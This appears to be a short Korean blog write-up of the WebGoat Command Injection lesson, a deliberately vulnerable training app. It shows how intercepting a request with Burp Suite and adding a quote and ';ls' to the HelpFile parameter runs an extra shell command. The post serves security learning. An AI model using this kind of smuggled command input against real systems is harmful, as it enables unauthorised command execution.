Web/Wargame
[WebGoat] Command Injection
와븨
2024. 8. 26. 08:45
'[/bin/sh, -c, cat "/root/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html"]'
밑의 코드를 살펴보면 선택한 view 값이 파란 부분에 들어간다.
버프 스위트로 인터셉트를 켜서 view 버튼을 누른다.
HelpFile에 입력값이 들어가기 때문에, HelpFile을 이용해서 문자열을 추가한다.
'[/bin/sh, -c, cat "/root/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html"";ls]'
"를 넣어 html 뒤의 "와 연결시켜 주고, ;로 명령문을 끝내준 후 실행할 명령어를 추가했다.